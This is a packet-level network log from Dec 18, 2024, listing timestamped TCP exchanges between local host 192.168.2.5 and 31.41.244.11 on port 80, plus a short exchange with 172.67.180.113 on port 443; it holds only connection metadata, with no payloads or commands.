Dec 18, 2024 21:30:29.412700891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.413511992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.413566113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.413656950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.413925886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.414537907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.414582968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.414727926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.414769888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.415646076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.415831089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.416030884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.416893005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.416943073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.417164087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.417212963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.417723894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.417867899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.417948961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.418716908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.422204018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.447829008 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.468952894 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.474646091 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.474709034 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.474718094 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.474730968 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.474770069 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.474776983 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.474817038 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.474859953 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.476979971 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.476994991 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.477006912 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:29.477013111 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:29.555643082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.555707932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.555711985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.555754900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.555846930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.555886030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.556052923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.556092024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.556713104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.556768894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.556966066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.557010889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.557936907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.557955980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.558000088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.558012962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.558813095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.558864117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.558940887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.558985949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.559811115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.559850931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.559963942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.560000896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.560863018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.560905933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.561036110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.561079979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.561937094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.561983109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.562179089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.562221050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.562985897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.563040018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.563319921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.563366890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.564290047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.564337969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.564583063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.564644098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.565367937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.565390110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.565418005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.565505028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.566270113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.566310883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.566646099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.566684961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.567183971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.567225933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.567348957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.567390919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.568299055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.568344116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.568434954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.568475962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.569318056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.569360018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.569480896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.569523096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.570446014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.570488930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.570614100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.570656061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.571466923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.571511030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.571634054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.571681023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.572523117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.572561026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.572684050 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.572726011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.573584080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.573630095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.573776007 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.573817015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.574815035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.574863911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.575041056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.575094938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.575859070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.575910091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.576076031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.576117039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.576781034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.576822996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.576880932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.576924086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.577792883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.577838898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.577945948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.577986956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.578834057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.578877926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.579004049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.579041958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.579894066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.579931974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.580089092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.580125093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.581089020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.581135988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.581216097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.581257105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.582118988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.582159042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.582272053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.582313061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.583065033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.583103895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.583244085 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.583281040 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.584144115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.584189892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.584300041 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.584333897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.585203886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.585242987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.585375071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.585411072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.586268902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.586312056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.586483002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.586520910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.587347984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.587388992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.587479115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.587516069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.588418961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.588505030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.588535070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.588574886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.589457035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.589498043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.589642048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.589679956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.590522051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.590562105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.590650082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.590684891 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.591543913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.591595888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.591701984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.591737986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.592633009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.592683077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.592741966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.592778921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.593660116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.593729019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.593822002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.593859911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.594743967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.594791889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.595077991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.595117092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.595907927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.595962048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.596111059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.596153021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.597038031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.597070932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.597215891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.597255945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.598237038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.598278046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.598412037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.598448038 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.599231005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.599268913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.599387884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.599432945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.600274086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.600315094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.600460052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.600497007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.601341009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.601382971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.601510048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.601556063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.602358103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.602396011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.602540970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.602577925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.603308916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.603358984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.603529930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.603594065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.604326010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.604377031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.604547977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.604583025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.605328083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.605384111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.605578899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.605624914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.606421947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.606467009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.606605053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.606654882 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.607440948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.607480049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.607621908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.607661009 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.608496904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.608535051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.608656883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.608692884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.609508038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.609549046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.609692097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.609731913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.610568047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.610608101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.747577906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.747651100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.747739077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.747783899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.748104095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.748143911 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.748241901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.748284101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.748459101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.748505116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.749331951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.749386072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.749497890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.749536037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.750389099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.750428915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.750545025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.750581026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.751558065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.751606941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.751698971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.751741886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.752619982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.752660990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.752737999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.752777100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.753551960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.753597975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.753742933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.753792048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.754887104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.754926920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.755012989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.755050898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.755795002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.755841017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.756047010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.756088972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.757162094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.757210016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.757342100 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.757385969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.758421898 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.758460999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.758549929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.758586884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.759346008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.759391069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.759494066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.759558916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.760272026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.760313034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.760487080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.760550976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.761389017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.761462927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.761554956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.761600971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.762584925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.762629032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.762758970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.762795925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.763380051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.763422966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.763715029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.763765097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.764394045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.764439106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.764480114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.764517069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.765377045 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.765448093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.765580893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.765621901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.766406059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.766444921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.766541004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.766582966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.767291069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.767327070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.767469883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.767509937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.768459082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.768502951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.768656969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.768696070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.769728899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.769763947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.769964933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.770008087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.770657063 CET	80	49808	31.41.244.11	192.168.2.5
